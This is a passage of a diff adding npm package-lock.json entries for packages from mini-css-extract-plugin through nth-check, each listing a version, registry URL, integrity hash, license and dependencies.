19946+ "version": "2.9.4",
19947+ "resolved": "https://registry.npmjs.org/mini-css-extract-plugin/-/mini-css-extract-plugin-2.9.4.tgz",
19948+ "integrity": "sha512-ZWYT7ln73Hptxqxk2DxPU9MmapXRhxkJD6tkSR04dnQxm8BGu2hzgKLugK5yySD97u/8yy7Ma7E76k9ZdvtjkQ==",
19949+ "license": "MIT",
19950+ "dependencies": {
19951+ "schema-utils": "^4.0.0",
19952+ "tapable": "^2.2.1"
19953+ },
19954+ "engines": {
19955+ "node": ">= 12.13.0"
19956+ },
19957+ "funding": {
19958+ "type": "opencollective",
19959+ "url": "https://opencollective.com/webpack"
19960+ },
19961+ "peerDependencies": {
19962+ "webpack": "^5.0.0"
19963+ }
19964+ },
19965+ "node_modules/minimalistic-assert": {
19966+ "version": "1.0.1",
19967+ "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz",
19968+ "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==",
19969+ "license": "ISC"
19970+ },
19971+ "node_modules/minimalistic-crypto-utils": {
19972+ "version": "1.0.1",
19973+ "resolved": "https://registry.npmjs.org/minimalistic-crypto-utils/-/minimalistic-crypto-utils-1.0.1.tgz",
19974+ "integrity": "sha512-JIYlbt6g8i5jKfJ3xz7rF0LXmv2TkDxBLUkiBeZ7bAx4GnnNMr8xFpGnOxn6GhTEHx3SjRrZEoU+j04prX1ktg==",
19975+ "license": "MIT"
19976+ },
19977+ "node_modules/minimatch": {
19978+ "version": "3.1.2",
19979+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",
19980+ "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==",
19981+ "license": "ISC",
19982+ "dependencies": {
19983+ "brace-expansion": "^1.1.7"
19984+ },
19985+ "engines": {
19986+ "node": "*"
19987+ }
19988+ },
19989+ "node_modules/minimist": {
19990+ "version": "1.2.8",
19991+ "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz",
19992+ "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==",
19993+ "license": "MIT",
19994+ "funding": {
19995+ "url": "https://github.com/sponsors/ljharb"
19996+ }
19997+ },
19998+ "node_modules/mixin-deep": {
19999+ "version": "1.3.2",
20000+ "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.2.tgz",
20001+ "integrity": "sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==",
20002+ "license": "MIT",
20003+ "dependencies": {
20004+ "for-in": "^1.0.2",
20005+ "is-extendable": "^1.0.1"
20006+ },
20007+ "engines": {
20008+ "node": ">=0.10.0"
20009+ }
20010+ },
20011+ "node_modules/mkdirp": {
20012+ "version": "0.5.6",
20013+ "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz",
20014+ "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==",
20015+ "license": "MIT",
20016+ "dependencies": {
20017+ "minimist": "^1.2.6"
20018+ },
20019+ "bin": {
20020+ "mkdirp": "bin/cmd.js"
20021+ }
20022+ },
20023+ "node_modules/moment": {
20024+ "version": "2.30.1",
20025+ "resolved": "https://registry.npmjs.org/moment/-/moment-2.30.1.tgz",
20026+ "integrity": "sha512-uEmtNhbDOrWPFS+hdjFCBfy9f2YoyzRpwcl+DqpC6taX21FzsTLQVbMV/W7PzNSX6x/bhC1zA3c2UQ5NzH6how==",
20027+ "license": "MIT",
20028+ "engines": {
20029+ "node": "*"
20030+ }
20031+ },
20032+ "node_modules/mongodb": {
20033+ "version": "6.20.0",
20034+ "resolved": "https://registry.npmjs.org/mongodb/-/mongodb-6.20.0.tgz",
20035+ "integrity": "sha512-Tl6MEIU3K4Rq3TSHd+sZQqRBoGlFsOgNrH5ltAcFBV62Re3Fd+FcaVf8uSEQFOJ51SDowDVttBTONMfoYWrWlQ==",
20036+ "license": "Apache-2.0",
20037+ "dependencies": {
20038+ "@mongodb-js/saslprep": "^1.3.0",
20039+ "bson": "^6.10.4",
20040+ "mongodb-connection-string-url": "^3.0.2"
20041+ },
20042+ "engines": {
20043+ "node": ">=16.20.1"
20044+ },
20045+ "peerDependencies": {
20046+ "@aws-sdk/credential-providers": "^3.188.0",
20047+ "@mongodb-js/zstd": "^1.1.0 || ^2.0.0",
20048+ "gcp-metadata": "^5.2.0",
20049+ "kerberos": "^2.0.1",
20050+ "mongodb-client-encryption": ">=6.0.0 <7",
20051+ "snappy": "^7.3.2",
20052+ "socks": "^2.7.1"
20053+ },
20054+ "peerDependenciesMeta": {
20055+ "@aws-sdk/credential-providers": {
20056+ "optional": true
20057+ },
20058+ "@mongodb-js/zstd": {
20059+ "optional": true
20060+ },
20061+ "gcp-metadata": {
20062+ "optional": true
20063+ },
20064+ "kerberos": {
20065+ "optional": true
20066+ },
20067+ "mongodb-client-encryption": {
20068+ "optional": true
20069+ },
20070+ "snappy": {
20071+ "optional": true
20072+ },
20073+ "socks": {
20074+ "optional": true
20075+ }
20076+ }
20077+ },
20078+ "node_modules/mongodb-connection-string-url": {
20079+ "version": "3.0.2",
20080+ "resolved": "https://registry.npmjs.org/mongodb-connection-string-url/-/mongodb-connection-string-url-3.0.2.tgz",
20081+ "integrity": "sha512-rMO7CGo/9BFwyZABcKAWL8UJwH/Kc2x0g72uhDWzG48URRax5TCIcJ7Rc3RZqffZzO/Gwff/jyKwCU9TN8gehA==",
20082+ "license": "Apache-2.0",
20083+ "dependencies": {
20084+ "@types/whatwg-url": "^11.0.2",
20085+ "whatwg-url": "^14.1.0 || ^13.0.0"
20086+ }
20087+ },
20088+ "node_modules/mongoose": {
20089+ "version": "8.20.2",
20090+ "resolved": "https://registry.npmjs.org/mongoose/-/mongoose-8.20.2.tgz",
20091+ "integrity": "sha512-U0TPupnqBOAI3p9H9qdShX8/nJUBylliRcHFKuhbewEkM7Y0qc9BbrQR9h4q6+1easoZqej7cq2Ee36AZ0gMzQ==",
20092+ "license": "MIT",
20093+ "dependencies": {
20094+ "bson": "^6.10.4",
20095+ "kareem": "2.6.3",
20096+ "mongodb": "~6.20.0",
20097+ "mpath": "0.9.0",
20098+ "mquery": "5.0.0",
20099+ "ms": "2.1.3",
20100+ "sift": "17.1.3"
20101+ },
20102+ "engines": {
20103+ "node": ">=16.20.1"
20104+ },
20105+ "funding": {
20106+ "type": "opencollective",
20107+ "url": "https://opencollective.com/mongoose"
20108+ }
20109+ },
20110+ "node_modules/mongoose/node_modules/ms": {
20111+ "version": "2.1.3",
20112+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
20113+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
20114+ "license": "MIT"
20115+ },
20116+ "node_modules/morgan": {
20117+ "version": "1.10.1",
20118+ "resolved": "https://registry.npmjs.org/morgan/-/morgan-1.10.1.tgz",
20119+ "integrity": "sha512-223dMRJtI/l25dJKWpgij2cMtywuG/WiUKXdvwfbhGKBhy1puASqXwFzmWZ7+K73vUPoR7SS2Qz2cI/g9MKw0A==",
20120+ "license": "MIT",
20121+ "dependencies": {
20122+ "basic-auth": "~2.0.1",
20123+ "debug": "2.6.9",
20124+ "depd": "~2.0.0",
20125+ "on-finished": "~2.3.0",
20126+ "on-headers": "~1.1.0"
20127+ },
20128+ "engines": {
20129+ "node": ">= 0.8.0"
20130+ }
20131+ },
20132+ "node_modules/morgan/node_modules/on-finished": {
20133+ "version": "2.3.0",
20134+ "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz",
20135+ "integrity": "sha512-ikqdkGAAyf/X/gPhXGvfgAytDZtDbr+bkNUJ0N9h5MI/dmdgCs3l6hoHrcUv41sRKew3jIwrp4qQDXiK99Utww==",
20136+ "license": "MIT",
20137+ "dependencies": {
20138+ "ee-first": "1.1.1"
20139+ },
20140+ "engines": {
20141+ "node": ">= 0.8"
20142+ }
20143+ },
20144+ "node_modules/motion-dom": {
20145+ "version": "12.23.23",
20146+ "resolved": "https://registry.npmjs.org/motion-dom/-/motion-dom-12.23.23.tgz",
20147+ "integrity": "sha512-n5yolOs0TQQBRUFImrRfs/+6X4p3Q4n1dUEqt/H58Vx7OW6RF+foWEgmTVDhIWJIMXOuNNL0apKH2S16en9eiA==",
20148+ "license": "MIT",
20149+ "dependencies": {
20150+ "motion-utils": "^12.23.6"
20151+ }
20152+ },
20153+ "node_modules/motion-utils": {
20154+ "version": "12.23.6",
20155+ "resolved": "https://registry.npmjs.org/motion-utils/-/motion-utils-12.23.6.tgz",
20156+ "integrity": "sha512-eAWoPgr4eFEOFfg2WjIsMoqJTW6Z8MTUCgn/GZ3VRpClWBdnbjryiA3ZSNLyxCTmCQx4RmYX6jX1iWHbenUPNQ==",
20157+ "license": "MIT"
20158+ },
20159+ "node_modules/mpath": {
20160+ "version": "0.9.0",
20161+ "resolved": "https://registry.npmjs.org/mpath/-/mpath-0.9.0.tgz",
20162+ "integrity": "sha512-ikJRQTk8hw5DEoFVxHG1Gn9T/xcjtdnOKIU1JTmGjZZlg9LST2mBLmcX3/ICIbgJydT2GOc15RnNy5mHmzfSew==",
20163+ "license": "MIT",
20164+ "engines": {
20165+ "node": ">=4.0.0"
20166+ }
20167+ },
20168+ "node_modules/mquery": {
20169+ "version": "5.0.0",
20170+ "resolved": "https://registry.npmjs.org/mquery/-/mquery-5.0.0.tgz",
20171+ "integrity": "sha512-iQMncpmEK8R8ncT8HJGsGc9Dsp8xcgYMVSbs5jgnm1lFHTZqMJTUWTDx1LBO8+mK3tPNZWFLBghQEIOULSTHZg==",
20172+ "license": "MIT",
20173+ "dependencies": {
20174+ "debug": "4.x"
20175+ },
20176+ "engines": {
20177+ "node": ">=14.0.0"
20178+ }
20179+ },
20180+ "node_modules/mquery/node_modules/debug": {
20181+ "version": "4.4.3",
20182+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
20183+ "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
20184+ "license": "MIT",
20185+ "dependencies": {
20186+ "ms": "^2.1.3"
20187+ },
20188+ "engines": {
20189+ "node": ">=6.0"
20190+ },
20191+ "peerDependenciesMeta": {
20192+ "supports-color": {
20193+ "optional": true
20194+ }
20195+ }
20196+ },
20197+ "node_modules/mquery/node_modules/ms": {
20198+ "version": "2.1.3",
20199+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
20200+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
20201+ "license": "MIT"
20202+ },
20203+ "node_modules/ms": {
20204+ "version": "2.0.0",
20205+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
20206+ "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==",
20207+ "license": "MIT"
20208+ },
20209+ "node_modules/multer": {
20210+ "version": "2.0.2",
20211+ "resolved": "https://registry.npmjs.org/multer/-/multer-2.0.2.tgz",
20212+ "integrity": "sha512-u7f2xaZ/UG8oLXHvtF/oWTRvT44p9ecwBBqTwgJVq0+4BW1g8OW01TyMEGWBHbyMOYVHXslaut7qEQ1meATXgw==",
20213+ "license": "MIT",
20214+ "dependencies": {
20215+ "append-field": "^1.0.0",
20216+ "busboy": "^1.6.0",
20217+ "concat-stream": "^2.0.0",
20218+ "mkdirp": "^0.5.6",
20219+ "object-assign": "^4.1.1",
20220+ "type-is": "^1.6.18",
20221+ "xtend": "^4.0.2"
20222+ },
20223+ "engines": {
20224+ "node": ">= 10.16.0"
20225+ }
20226+ },
20227+ "node_modules/multicast-dns": {
20228+ "version": "7.2.5",
20229+ "resolved": "https://registry.npmjs.org/multicast-dns/-/multicast-dns-7.2.5.tgz",
20230+ "integrity": "sha512-2eznPJP8z2BFLX50tf0LuODrpINqP1RVIm/CObbTcBRITQgmC/TjcREF1NeTBzIcR5XO/ukWo+YHOjBbFwIupg==",
20231+ "license": "MIT",
20232+ "dependencies": {
20233+ "dns-packet": "^5.2.2",
20234+ "thunky": "^1.0.2"
20235+ },
20236+ "bin": {
20237+ "multicast-dns": "cli.js"
20238+ }
20239+ },
20240+ "node_modules/mz": {
20241+ "version": "2.7.0",
20242+ "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz",
20243+ "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==",
20244+ "license": "MIT",
20245+ "dependencies": {
20246+ "any-promise": "^1.0.0",
20247+ "object-assign": "^4.0.1",
20248+ "thenify-all": "^1.0.0"
20249+ }
20250+ },
20251+ "node_modules/nanoid": {
20252+ "version": "3.3.11",
20253+ "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz",
20254+ "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==",
20255+ "funding": [
20256+ {
20257+ "type": "github",
20258+ "url": "https://github.com/sponsors/ai"
20259+ }
20260+ ],
20261+ "license": "MIT",
20262+ "bin": {
20263+ "nanoid": "bin/nanoid.cjs"
20264+ },
20265+ "engines": {
20266+ "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"
20267+ }
20268+ },
20269+ "node_modules/natural-compare": {
20270+ "version": "1.4.0",
20271+ "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz",
20272+ "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==",
20273+ "license": "MIT"
20274+ },
20275+ "node_modules/natural-compare-lite": {
20276+ "version": "1.4.0",
20277+ "resolved": "https://registry.npmjs.org/natural-compare-lite/-/natural-compare-lite-1.4.0.tgz",
20278+ "integrity": "sha512-Tj+HTDSJJKaZnfiuw+iaF9skdPpTo2GtEly5JHnWV/hfv2Qj/9RKsGISQtLh2ox3l5EAGw487hnBee0sIJ6v2g==",
20279+ "license": "MIT"
20280+ },
20281+ "node_modules/negotiator": {
20282+ "version": "0.6.3",
20283+ "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz",
20284+ "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==",
20285+ "license": "MIT",
20286+ "engines": {
20287+ "node": ">= 0.6"
20288+ }
20289+ },
20290+ "node_modules/neo-async": {
20291+ "version": "2.6.2",
20292+ "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz",
20293+ "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==",
20294+ "license": "MIT"
20295+ },
20296+ "node_modules/no-case": {
20297+ "version": "3.0.4",
20298+ "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz",
20299+ "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==",
20300+ "license": "MIT",
20301+ "dependencies": {
20302+ "lower-case": "^2.0.2",
20303+ "tslib": "^2.0.3"
20304+ }
20305+ },
20306+ "node_modules/no-case/node_modules/tslib": {
20307+ "version": "2.8.1",
20308+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
20309+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
20310+ "license": "0BSD"
20311+ },
20312+ "node_modules/node-addon-api": {
20313+ "version": "2.0.2",
20314+ "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-2.0.2.tgz",
20315+ "integrity": "sha512-Ntyt4AIXyaLIuMHF6IOoTakB3K+RWxwtsHNRxllEoA6vPwP9o4866g6YWDLUdnucilZhmkxiHwHr11gAENw+QA==",
20316+ "license": "MIT"
20317+ },
20318+ "node_modules/node-fetch": {
20319+ "version": "2.7.0",
20320+ "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz",
20321+ "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==",
20322+ "license": "MIT",
20323+ "dependencies": {
20324+ "whatwg-url": "^5.0.0"
20325+ },
20326+ "engines": {
20327+ "node": "4.x || >=6.0.0"
20328+ },
20329+ "peerDependencies": {
20330+ "encoding": "^0.1.0"
20331+ },
20332+ "peerDependenciesMeta": {
20333+ "encoding": {
20334+ "optional": true
20335+ }
20336+ }
20337+ },
20338+ "node_modules/node-fetch/node_modules/tr46": {
20339+ "version": "0.0.3",
20340+ "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz",
20341+ "integrity": "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==",
20342+ "license": "MIT"
20343+ },
20344+ "node_modules/node-fetch/node_modules/webidl-conversions": {
20345+ "version": "3.0.1",
20346+ "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz",
20347+ "integrity": "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==",
20348+ "license": "BSD-2-Clause"
20349+ },
20350+ "node_modules/node-fetch/node_modules/whatwg-url": {
20351+ "version": "5.0.0",
20352+ "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz",
20353+ "integrity": "sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==",
20354+ "license": "MIT",
20355+ "dependencies": {
20356+ "tr46": "~0.0.3",
20357+ "webidl-conversions": "^3.0.0"
20358+ }
20359+ },
20360+ "node_modules/node-forge": {
20361+ "version": "1.3.3",
20362+ "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-1.3.3.tgz",
20363+ "integrity": "sha512-rLvcdSyRCyouf6jcOIPe/BgwG/d7hKjzMKOas33/pHEr6gbq18IK9zV7DiPvzsz0oBJPme6qr6H6kGZuI9/DZg==",
20364+ "license": "(BSD-3-Clause OR GPL-2.0)",
20365+ "engines": {
20366+ "node": ">= 6.13.0"
20367+ }
20368+ },
20369+ "node_modules/node-gyp-build": {
20370+ "version": "4.8.4",
20371+ "resolved": "https://registry.npmjs.org/node-gyp-build/-/node-gyp-build-4.8.4.tgz",
20372+ "integrity": "sha512-LA4ZjwlnUblHVgq0oBF3Jl/6h/Nvs5fzBLwdEF4nuxnFdsfajde4WfxtJr3CaiH+F6ewcIB/q4jQ4UzPyid+CQ==",
20373+ "license": "MIT",
20374+ "bin": {
20375+ "node-gyp-build": "bin.js",
20376+ "node-gyp-build-optional": "optional.js",
20377+ "node-gyp-build-test": "build-test.js"
20378+ }
20379+ },
20380+ "node_modules/node-int64": {
20381+ "version": "0.4.0",
20382+ "resolved": "https://registry.npmjs.org/node-int64/-/node-int64-0.4.0.tgz",
20383+ "integrity": "sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw==",
20384+ "license": "MIT"
20385+ },
20386+ "node_modules/node-releases": {
20387+ "version": "2.0.27",
20388+ "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.27.tgz",
20389+ "integrity": "sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA==",
20390+ "license": "MIT"
20391+ },
20392+ "node_modules/node-stdlib-browser": {
20393+ "version": "1.3.1",
20394+ "resolved": "https://registry.npmjs.org/node-stdlib-browser/-/node-stdlib-browser-1.3.1.tgz",
20395+ "integrity": "sha512-X75ZN8DCLftGM5iKwoYLA3rjnrAEs97MkzvSd4q2746Tgpg8b8XWiBGiBG4ZpgcAqBgtgPHTiAc8ZMCvZuikDw==",
20396+ "license": "MIT",
20397+ "dependencies": {
20398+ "assert": "^2.0.0",
20399+ "browser-resolve": "^2.0.0",
20400+ "browserify-zlib": "^0.2.0",
20401+ "buffer": "^5.7.1",
20402+ "console-browserify": "^1.1.0",
20403+ "constants-browserify": "^1.0.0",
20404+ "create-require": "^1.1.1",
20405+ "crypto-browserify": "^3.12.1",
20406+ "domain-browser": "4.22.0",
20407+ "events": "^3.0.0",
20408+ "https-browserify": "^1.0.0",
20409+ "isomorphic-timers-promises": "^1.0.1",
20410+ "os-browserify": "^0.3.0",
20411+ "path-browserify": "^1.0.1",
20412+ "pkg-dir": "^5.0.0",
20413+ "process": "^0.11.10",
20414+ "punycode": "^1.4.1",
20415+ "querystring-es3": "^0.2.1",
20416+ "readable-stream": "^3.6.0",
20417+ "stream-browserify": "^3.0.0",
20418+ "stream-http": "^3.2.0",
20419+ "string_decoder": "^1.0.0",
20420+ "timers-browserify": "^2.0.4",
20421+ "tty-browserify": "0.0.1",
20422+ "url": "^0.11.4",
20423+ "util": "^0.12.4",
20424+ "vm-browserify": "^1.0.1"
20425+ },
20426+ "engines": {
20427+ "node": ">=10"
20428+ }
20429+ },
20430+ "node_modules/node-stdlib-browser/node_modules/buffer": {
20431+ "version": "5.7.1",
20432+ "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz",
20433+ "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==",
20434+ "funding": [
20435+ {
20436+ "type": "github",
20437+ "url": "https://github.com/sponsors/feross"
20438+ },
20439+ {
20440+ "type": "patreon",
20441+ "url": "https://www.patreon.com/feross"
20442+ },
20443+ {
20444+ "type": "consulting",
20445+ "url": "https://feross.org/support"
20446+ }
20447+ ],
20448+ "license": "MIT",
20449+ "dependencies": {
20450+ "base64-js": "^1.3.1",
20451+ "ieee754": "^1.1.13"
20452+ }
20453+ },
20454+ "node_modules/node-stdlib-browser/node_modules/find-up": {
20455+ "version": "5.0.0",
20456+ "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz",
20457+ "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==",
20458+ "license": "MIT",
20459+ "dependencies": {
20460+ "locate-path": "^6.0.0",
20461+ "path-exists": "^4.0.0"
20462+ },
20463+ "engines": {
20464+ "node": ">=10"
20465+ },
20466+ "funding": {
20467+ "url": "https://github.com/sponsors/sindresorhus"
20468+ }
20469+ },
20470+ "node_modules/node-stdlib-browser/node_modules/locate-path": {
20471+ "version": "6.0.0",
20472+ "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz",
20473+ "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==",
20474+ "license": "MIT",
20475+ "dependencies": {
20476+ "p-locate": "^5.0.0"
20477+ },
20478+ "engines": {
20479+ "node": ">=10"
20480+ },
20481+ "funding": {
20482+ "url": "https://github.com/sponsors/sindresorhus"
20483+ }
20484+ },
20485+ "node_modules/node-stdlib-browser/node_modules/p-limit": {
20486+ "version": "3.1.0",
20487+ "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz",
20488+ "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==",
20489+ "license": "MIT",
20490+ "dependencies": {
20491+ "yocto-queue": "^0.1.0"
20492+ },
20493+ "engines": {
20494+ "node": ">=10"
20495+ },
20496+ "funding": {
20497+ "url": "https://github.com/sponsors/sindresorhus"
20498+ }
20499+ },
20500+ "node_modules/node-stdlib-browser/node_modules/p-locate": {
20501+ "version": "5.0.0",
20502+ "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz",
20503+ "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==",
20504+ "license": "MIT",
20505+ "dependencies": {
20506+ "p-limit": "^3.0.2"
20507+ },
20508+ "engines": {
20509+ "node": ">=10"
20510+ },
20511+ "funding": {
20512+ "url": "https://github.com/sponsors/sindresorhus"
20513+ }
20514+ },
20515+ "node_modules/node-stdlib-browser/node_modules/pkg-dir": {
20516+ "version": "5.0.0",
20517+ "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-5.0.0.tgz",
20518+ "integrity": "sha512-NPE8TDbzl/3YQYY7CSS228s3g2ollTFnc+Qi3tqmqJp9Vg2ovUpixcJEo2HJScN2Ez+kEaal6y70c0ehqJBJeA==",
20519+ "license": "MIT",
20520+ "dependencies": {
20521+ "find-up": "^5.0.0"
20522+ },
20523+ "engines": {
20524+ "node": ">=10"
20525+ }
20526+ },
20527+ "node_modules/node-stdlib-browser/node_modules/punycode": {
20528+ "version": "1.4.1",
20529+ "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz",
20530+ "integrity": "sha512-jmYNElW7yvO7TV33CjSmvSiE2yco3bV2czu/OzDKdMNVZQWfxCblURLhf+47syQRBntjfLdd/H0egrzIG+oaFQ==",
20531+ "license": "MIT"
20532+ },
20533+ "node_modules/node-stdlib-browser/node_modules/readable-stream": {
20534+ "version": "3.6.2",
20535+ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz",
20536+ "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==",
20537+ "license": "MIT",
20538+ "dependencies": {
20539+ "inherits": "^2.0.3",
20540+ "string_decoder": "^1.1.1",
20541+ "util-deprecate": "^1.0.1"
20542+ },
20543+ "engines": {
20544+ "node": ">= 6"
20545+ }
20546+ },
20547+ "node_modules/normalize-path": {
20548+ "version": "3.0.0",
20549+ "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
20550+ "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==",
20551+ "license": "MIT",
20552+ "engines": {
20553+ "node": ">=0.10.0"
20554+ }
20555+ },
20556+ "node_modules/normalize-url": {
20557+ "version": "6.1.0",
20558+ "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz",
20559+ "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==",
20560+ "license": "MIT",
20561+ "engines": {
20562+ "node": ">=10"
20563+ },
20564+ "funding": {
20565+ "url": "https://github.com/sponsors/sindresorhus"
20566+ }
20567+ },
20568+ "node_modules/npm-run-path": {
20569+ "version": "4.0.1",
20570+ "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz",
20571+ "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==",
20572+ "license": "MIT",
20573+ "dependencies": {
20574+ "path-key": "^3.0.0"
20575+ },
20576+ "engines": {
20577+ "node": ">=8"
20578+ }
20579+ },
20580+ "node_modules/nth-check": {
20581+ "version": "2.1.1",
20582+ "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz",
20583+ "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==",
20584+ "license": "BSD-2-Clause",
20585+ "dependencies": {
20586+ "boolbase": "^1.0.0"
20587+ },
20588+ "funding": {
